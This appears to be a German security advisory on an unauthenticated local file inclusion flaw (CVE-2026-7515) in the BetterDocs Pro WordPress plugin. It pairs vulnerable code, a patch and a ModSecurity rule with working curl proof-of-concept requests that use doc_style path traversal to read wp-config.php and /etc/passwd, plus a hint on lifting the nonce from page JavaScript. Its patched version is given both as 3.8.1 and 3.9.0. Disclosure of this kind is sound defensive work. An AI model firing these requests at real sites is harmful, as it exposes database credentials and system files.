
Unauthentifizierte lokale Dateieinbindung
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-7515 |
| CVSS-Score | 9.8 (Kritisch) |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffen | BetterDocs Pro <= 3.8.0 |
| Gepatched | 3.8.1 |
| Forscher | Nguyen Ngoc Duc (duc193) |
| Veröffentlicht | 18. Juni 2026 |
| CWE | CWE-98: Unzureichende Kontrolle des Dateinamens für Include/Require-Anweisung |
Das BetterDocs Pro-Plugin für WordPress ist anfällig für lokale Dateieinbindung in Versionen bis einschließlich 3.8.0 über den Parameter doc_style. Dadurch können nicht authentifizierte Angreifer beliebige PHP-Dateien auf dem Server einbinden und ausführen.
Datei: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Zeile: 141
// VERWUNDBARER CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
Problem: Eine vom Benutzer gesteuerte Eingabe aus $_POST['doc_style'] wird ohne Validierung direkt verwendet.
Datei: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php
Zeile: 195
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
'doc' => $doc,
'excerpt' => $excerpt,
'dictionary_learn_more_text' => $learn_more_text,
'item_heading_tag' => $item_heading_tag,
]);
Problem: Die Variable $doc_style (benutzergesteuert) wird direkt in den Dateipfad interpoliert, der an views->get() übergeben wird, was die Datei einbindet.
HTTP-POST-Anfrage
↓
$_POST['doc_style'] = "../../../../../../wp-config"
↓
KEINE VALIDIERUNG (verwundbare Version 3.8.0)
↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
↓
Dateieinbindung via include() oder require()
↓
Beliebige PHP-Codeausführung / Dateilesen
// Zeile 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';
// Zeilen 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Beide Endpunkte registrieren sich mit nopriv-Hooks, was bedeutet, dass sie für nicht authentifizierte Benutzer zugänglich sind:
// Zeile 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);
// Zeile 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);
POST /wp-admin/admin-ajax.php?action=load_more_docs_sectionPOST /wp-admin/admin-ajax.php?action=load_more_docsencyclopedia_nonce (im Quelltext von Seiten mit dem BetterDocs Encyclopedia-Block zu finden)# Schritt 1: wp-config.php lesen
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs_section" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../wp-config" \
-d "page=1"
# Schritt 2: /etc/passwd lesen
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
-d "action=load_more_docs" \
-d "_nonce=VALID_ENCRYPTION_NONCE" \
-d "doc_style=../../../../../../etc/passwd" \
-d "page=0"
Der encyclopedia_nonce wird in JavaScript auf Seiten verfügbar gemacht, auf denen der BetterDocs Encyclopedia-Block gerendert wird:
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
'site_url': '...',
'ajax_url': '...',
'_nonce': 'VALID_NONCE_HERE' // <-- Das ist es, was Sie brauchen
};
Aktualisieren Sie auf BetterDocs Pro Version 3.8.1 oder höher
Wenden Sie den folgenden Patch auf includes/Core/Encyclopedia.php an:
// Ersetzen Sie Zeile 141 durch:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
? $_POST['doc_style']
: 'doc-grid';
Wenden Sie die gleiche Lösung auf Zeile 236 an.
Fügen Sie eine Regel hinzu, um Pfad-Traversierung im Parameter doc_style zu blockieren:
# Blockiere doc_style mit Pfad-Traversal-Mustern
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
"id:1001,phase:1,deny,status:403,msg:'LFI Versuch blockiert'"
Verwundbare Version: betterdocs-pro_3.8.0.zip
Gepatchte Version: betterdocs-pro_3.9.0.zip
Wichtige Dateien:
- includes/Core/Encyclopedia.php (VERWUNDBAR)
- includes/Core/Scripts.php (Enthält Nonce-Erzeugung)
- includes/Utils/Views.php (Dateieinbindungslogik)
| Aspekt | Verwundbar (3.8.0) | Gepatched (3.8.1) |
|---|
| Validierung | Keine | Whitelist mit in_array() |
| Zulässige Werte | Beliebige Zeichenkette | Nur doc-grid, doc-list, doc-list-2 |
| Typüberprüfung | Nein | Strikter (===) Vergleich |
| Auswirkungstyp | Schweregrad | Beschreibung |
|---|
| Vertraulichkeit | HOCH | Beliebige Dateien lesen (wp-config.php, /etc/passwd usw.) |
| Integrität | HOCH | Dateien ändern oder löschen |
| Verfügbarkeit | HOCH | Denial-of-Service |
| Angriffsvektor | Netzwerk | Remote ausnutzbar |
| Berechtigungen | Keine | Keine Authentifizierung erforderlich |
| Benutzerinteraktion | Keine | Nicht erforderlich |